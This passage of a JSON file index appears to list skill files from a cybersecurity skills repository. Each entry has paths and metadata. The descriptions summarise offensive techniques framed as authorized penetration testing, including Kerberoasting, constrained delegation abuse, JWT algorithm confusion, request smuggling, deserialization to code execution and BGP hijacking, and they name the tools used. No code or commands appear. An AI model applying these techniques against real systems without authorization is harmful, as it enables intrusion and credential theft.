-->","isInternal":false,"tokens":445,"sizeBytes":1675},{"name":"SKILL.md","path":"skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md","title":"exploiting-bgp-hijacking-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-bgp-hijacking-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"exploiting-bgp-hijacking-vulnerabilities","description":"Analyzes and simulates BGP hijacking scenarios in authorized lab environments to assess route origin validation, RPKI deployment, and BGP monitoring defenses against prefix hijacking and route leak attacks on internet routing infrastructure.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","bgp","routing-security","rpki","route-hijacking"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071"]},"isInternal":false,"tokens":3497,"sizeBytes":12548},{"name":"api-reference.md","path":"skills/exploiting-broken-function-level-authorization/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-broken-function-level-authorization/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-broken-function-level-authorization%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":565,"sizeBytes":2316},{"name":"SKILL.md","path":"skills/exploiting-broken-function-level-authorization/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-broken-function-level-authorization/SKILL.md","title":"exploiting-broken-function-level-authorization","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-broken-function-level-authorization%2FSKILL.md -->","frontmatter":{"name":"exploiting-broken-function-level-authorization","description":"Tests APIs for Broken Function Level Authorization (OWASP API5:2023) by identifying admin and privileged endpoints, then reaching them with regular-user credentials via HTTP method switching, URL path manipulation, and parameter tampering. Use when testing whether low-privilege users can invoke admin API functions or otherwise escalate privileges via function-level access control gaps.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","owasp","authorization","bfla","privilege-escalation","access-control"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1068","T1548"]},"isInternal":false,"tokens":3893,"sizeBytes":16151},{"name":"api-reference.md","path":"skills/exploiting-broken-link-hijacking/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-broken-link-hijacking/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-broken-link-hijacking%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":553,"sizeBytes":2272},{"name":"SKILL.md","path":"skills/exploiting-broken-link-hijacking/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-broken-link-hijacking/SKILL.md","title":"exploiting-broken-link-hijacking","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-broken-link-hijacking%2FSKILL.md -->","frontmatter":{"name":"exploiting-broken-link-hijacking","description":"Discovers and exploits broken link hijacking by spidering a site (Burp Suite Spider, Scrapy, curl scraping), extracting referenced external scripts/domains, and checking DNS/CNAME records and domain registration status for expired or unclaimed resources an attacker could register. Use for subdomain takeover testing, supply-chain review of third-party scripts, or bug bounty hunting for hijackable external resources.","domain":"cybersecurity","subdomain":"web-application-security","tags":["broken-link-hijacking","blh","subdomain-takeover","dead-link","expired-domain","supply-chain","external-resource"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1195"]},"isInternal":false,"tokens":2273,"sizeBytes":9328},{"name":"api-reference.md","path":"skills/exploiting-constrained-delegation-abuse/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-constrained-delegation-abuse/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-constrained-delegation-abuse%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":648,"sizeBytes":2204},{"name":"standards.md","path":"skills/exploiting-constrained-delegation-abuse/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-constrained-delegation-abuse/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-constrained-delegation-abuse%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":221,"sizeBytes":847},{"name":"workflows.md","path":"skills/exploiting-constrained-delegation-abuse/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-constrained-delegation-abuse/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-constrained-delegation-abuse%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":195,"sizeBytes":723},{"name":"SKILL.md","path":"skills/exploiting-constrained-delegation-abuse/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-constrained-delegation-abuse/SKILL.md","title":"exploiting-constrained-delegation-abuse","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-constrained-delegation-abuse%2FSKILL.md -->","frontmatter":{"name":"exploiting-constrained-delegation-abuse","description":"Exploits Kerberos Constrained Delegation misconfigurations in Active Directory using Impacket's findDelegation.py and getST.py (or Rubeus/Kekeo on Windows) to abuse S4U2Self and S4U2Proxy and impersonate privileged users. Use during authorized Active Directory penetration tests or red-team engagements for lateral movement and privilege escalation after finding an account trusted for constrained delegation.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","active-directory","kerberos","constrained-delegation","s4u2proxy","privilege-escalation","lateral-movement"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1021"]},"isInternal":false,"tokens":2334,"sizeBytes":9127},{"name":"template.md","path":"skills/exploiting-deeplink-vulnerabilities/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-deeplink-vulnerabilities/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":197,"sizeBytes":692},{"name":"api-reference.md","path":"skills/exploiting-deeplink-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-deeplink-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":616,"sizeBytes":2526},{"name":"standards.md","path":"skills/exploiting-deeplink-vulnerabilities/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-deeplink-vulnerabilities/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":225,"sizeBytes":978},{"name":"workflows.md","path":"skills/exploiting-deeplink-vulnerabilities/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-deeplink-vulnerabilities/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":200,"sizeBytes":1344},{"name":"SKILL.md","path":"skills/exploiting-deeplink-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-deeplink-vulnerabilities/SKILL.md","title":"exploiting-deeplink-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"exploiting-deeplink-vulnerabilities","description":"Tests and exploits deep link (URL scheme and App Link) vulnerabilities in Android and iOS mobile applications to identify unauthorized access, data injection, intent hijacking, and redirect manipulation. Use when assessing mobile app attack surface through custom URI schemes, Android App Links, iOS Universal Links, or intent-based navigation. Activates for requests involving deep link security testing, URL scheme exploitation, mobile intent abuse, or link hijacking.\n","domain":"cybersecurity","subdomain":"mobile-security","author":"mahipal","tags":["mobile-security","android","ios","deep-links","owasp-mobile","penetration-testing"],"version":"1.0.0","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1059","T1056","T1036","T1078","T1055"]},"isInternal":false,"tokens":1618,"sizeBytes":6821},{"name":"api-reference.md","path":"skills/exploiting-excessive-data-exposure-in-api/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-excessive-data-exposure-in-api/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-excessive-data-exposure-in-api%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":601,"sizeBytes":2231},{"name":"SKILL.md","path":"skills/exploiting-excessive-data-exposure-in-api/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-excessive-data-exposure-in-api/SKILL.md","title":"exploiting-excessive-data-exposure-in-api","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-excessive-data-exposure-in-api%2FSKILL.md -->","frontmatter":{"name":"exploiting-excessive-data-exposure-in-api","description":"Tests APIs for excessive data exposure (OWASP API3:2023) by intercepting raw API responses and comparing them against what the UI actually renders, looking for leaked PII, internal identifiers, debug data, or business-sensitive fields the frontend filters but the API still transmits. Use when auditing REST or mobile-app APIs for over-fetching, response filtering bypass, or unintended data leakage in endpoint responses.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","owasp","data-exposure","rest-security","pii-leakage"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1027","T1070"]},"isInternal":false,"tokens":3905,"sizeBytes":16168},{"name":"api-reference.md","path":"skills/exploiting-http-request-smuggling/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-http-request-smuggling/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-http-request-smuggling%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":470,"sizeBytes":1969},{"name":"SKILL.md","path":"skills/exploiting-http-request-smuggling/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-http-request-smuggling/SKILL.md","title":"exploiting-http-request-smuggling","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-http-request-smuggling%2FSKILL.md -->","frontmatter":{"name":"exploiting-http-request-smuggling","description":"Detects and exploits HTTP request smuggling caused by Content-Length/Transfer-Encoding parsing discrepancies between front-end and back-end servers, using Burp Suite Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and smuggler.py. Use during authorized tests of multi-tier architectures behind a reverse proxy, load balancer, or CDN to find desync flaws and bypass front-end controls.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","request-smuggling","http-desync","web-security","burpsuite","owasp"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":2760,"sizeBytes":11037},{"name":"api-reference.md","path":"skills/exploiting-idor-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-idor-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-idor-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":435,"sizeBytes":1813},{"name":"SKILL.md","path":"skills/exploiting-idor-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-idor-vulnerabilities/SKILL.md","title":"exploiting-idor-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-idor-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"exploiting-idor-vulnerabilities","description":"Identifies and exploits Insecure Direct Object Reference (IDOR) vulnerabilities by manipulating object identifiers (numeric IDs, UUIDs, slugs) in API requests and URLs, using Burp Suite proxy history, Intruder, and the Authorize extension to test object-level authorization across sessions. Use during authorized penetration tests or bug bounty work to validate that CRUD endpoints and multi-tenant applications enforce per-object access control.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","idor","access-control","owasp","burpsuite","web-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":3028,"sizeBytes":11910},{"name":"template.md","path":"skills/exploiting-insecure-data-storage-in-mobile/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-insecure-data-storage-in-mobile/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":381,"sizeBytes":1212},{"name":"api-reference.md","path":"skills/exploiting-insecure-data-storage-in-mobile/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-insecure-data-storage-in-mobile/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":622,"sizeBytes":2632},{"name":"standards.md","path":"skills/exploiting-insecure-data-storage-in-mobile/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-insecure-data-storage-in-mobile/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":616,"sizeBytes":2844},{"name":"workflows.md","path":"skills/exploiting-insecure-data-storage-in-mobile/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-insecure-data-storage-in-mobile/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":470,"sizeBytes":3307},{"name":"SKILL.md","path":"skills/exploiting-insecure-data-storage-in-mobile/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-insecure-data-storage-in-mobile/SKILL.md","title":"exploiting-insecure-data-storage-in-mobile","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2FSKILL.md -->","frontmatter":{"name":"exploiting-insecure-data-storage-in-mobile","description":"Identifies and exploits insecure local data storage vulnerabilities in Android and iOS mobile applications including unencrypted databases, world-readable files, insecure SharedPreferences, plaintext credential storage, and improper keychain/keystore usage. Use when performing mobile penetration testing focused on OWASP M9 (Insecure Data Storage) or assessing compliance with MASVS-STORAGE requirements. Activates for requests involving mobile data storage security, local storage exploitation, SharedPreferences analysis, or mobile data leakage assessment.\n","domain":"cybersecurity","subdomain":"mobile-security","author":"mahipal","tags":["mobile-security","android","ios","data-storage","owasp-mobile","penetration-testing"],"version":"1.0.0","license":"Apache-2.0","atlas_techniques":["AML.T0057"],"nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4","GOVERN-1.1","GOVERN-4.2"],"nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1059","T1056","T1036","T1078","T1003"]},"isInternal":false,"tokens":1814,"sizeBytes":7807},{"name":"api-reference.md","path":"skills/exploiting-insecure-deserialization/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-insecure-deserialization/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-deserialization%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":492,"sizeBytes":2009},{"name":"SKILL.md","path":"skills/exploiting-insecure-deserialization/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-insecure-deserialization/SKILL.md","title":"exploiting-insecure-deserialization","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-deserialization%2FSKILL.md -->","frontmatter":{"name":"exploiting-insecure-deserialization","description":"Identifying and exploiting insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications to achieve remote code execution during authorized penetration tests.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","deserialization","rce","owasp","web-security","ysoserial"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":3012,"sizeBytes":11745},{"name":"api-reference.md","path":"skills/exploiting-ipv6-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-ipv6-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ipv6-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":500,"sizeBytes":1801},{"name":"SKILL.md","path":"skills/exploiting-ipv6-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-ipv6-vulnerabilities/SKILL.md","title":"exploiting-ipv6-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ipv6-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"exploiting-ipv6-vulnerabilities","description":"Identifies and exploits IPv6-specific vulnerabilities including SLAAC spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments to test dual-stack security controls and IPv6-aware network defenses.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","ipv6","slaac","router-advertisement","dual-stack-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071"]},"isInternal":false,"tokens":3132,"sizeBytes":11582},{"name":"api-reference.md","path":"skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-jwt-algorithm-confusion-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":670,"sizeBytes":2425},{"name":"SKILL.md","path":"skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md","title":"exploiting-jwt-algorithm-confusion-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-jwt-algorithm-confusion-attack%2FSKILL.md -->","frontmatter":{"name":"exploiting-jwt-algorithm-confusion-attack","description":"Exploits JWT algorithm confusion where the server's verification library trusts the alg named in the token header, by switching RS256 to HS256 (signing with the RSA public key as HMAC secret), setting alg to none, or injecting kid/jku/x5u headers to supply an attacker-controlled key. Use when testing RS256 JWT auth for algorithm downgrade, alg:none bypass, or key-confusion signature forgery.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","jwt","algorithm-confusion","token-forgery","cryptographic-attack"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1055","T1059"]},"isInternal":false,"tokens":4623,"sizeBytes":18835},{"name":"template.md","path":"skills/exploiting-kerberoasting-with-impacket/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-kerberoasting-with-impacket/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":806,"sizeBytes":2827},{"name":"api-reference.md","path":"skills/exploiting-kerberoasting-with-impacket/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-kerberoasting-with-impacket/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":695,"sizeBytes":2286},{"name":"standards.md","path":"skills/exploiting-kerberoasting-with-impacket/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-kerberoasting-with-impacket/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":662,"sizeBytes":2228},{"name":"workflows.md","path":"skills/exploiting-kerberoasting-with-impacket/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-kerberoasting-with-impacket/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1057,"sizeBytes":5445},{"name":"SKILL.md","path":"skills/exploiting-kerberoasting-with-impacket/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-kerberoasting-with-impacket/SKILL.md","title":"exploiting-kerberoasting-with-impacket","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2FSKILL.md -->","frontmatter":{"name":"exploiting-kerberoasting-with-impacket","description":"Performs Kerberoasting (MITRE ATT&CK T1558.003) using Impacket's GetUserSPNs.py to request Kerberos TGS tickets for SPN-registered service accounts, then cracks the extracted RC4/AES-encrypted hashes offline to recover service account credentials. Use during authorized Active Directory penetration tests or red-team engagements for credential access against service accounts via Kerberos ticket-granting-service requests.","domain":"cybersecurity","subdomain":"red-teaming","tags":["kerberoasting","impacket","active-directory","credential-access","kerberos","t1558-003","service-accounts"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1003"]},"isInternal":false,"tokens":2152,"sizeBytes":7913},{"name":"api-reference.md","path":"skills/exploiting-mass-assignment-in-rest-apis/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-mass-assignment-in-rest-apis/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-mass-assignment-in-rest-apis%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":608,"sizeBytes":2495},{"name":"SKILL.md","path":"skills/exploiting-mass-assignment-in-rest-apis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md","title":"exploiting-mass-assignment-in-rest-apis","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-mass-assignment-in-rest-apis%2FSKILL.md -->","frontmatter":{"name":"exploiting-mass-assignment-in-rest-apis","description":"Discovers and exploits mass assignment (autobinding) in REST APIs by injecting unexpected or hidden parameters (e.g. role, isAdmin, plan) into create/update requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing REST APIs for privilege escalation or authorization bypass via unintended parameter binding.","domain":"cybersecurity","subdomain":"web-application-security","tags":["mass-assignment","api-security","privilege-escalation","rest-api","autobinding","parameter-injection","owasp-api"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1068"]},"isInternal":false,"tokens":2261,"sizeBytes":9413},{"name":"template.md","path":"skills/exploiting-ms17-010-eternalblue-vulnerability/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-ms17-010-eternalblue-vulnerability/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via 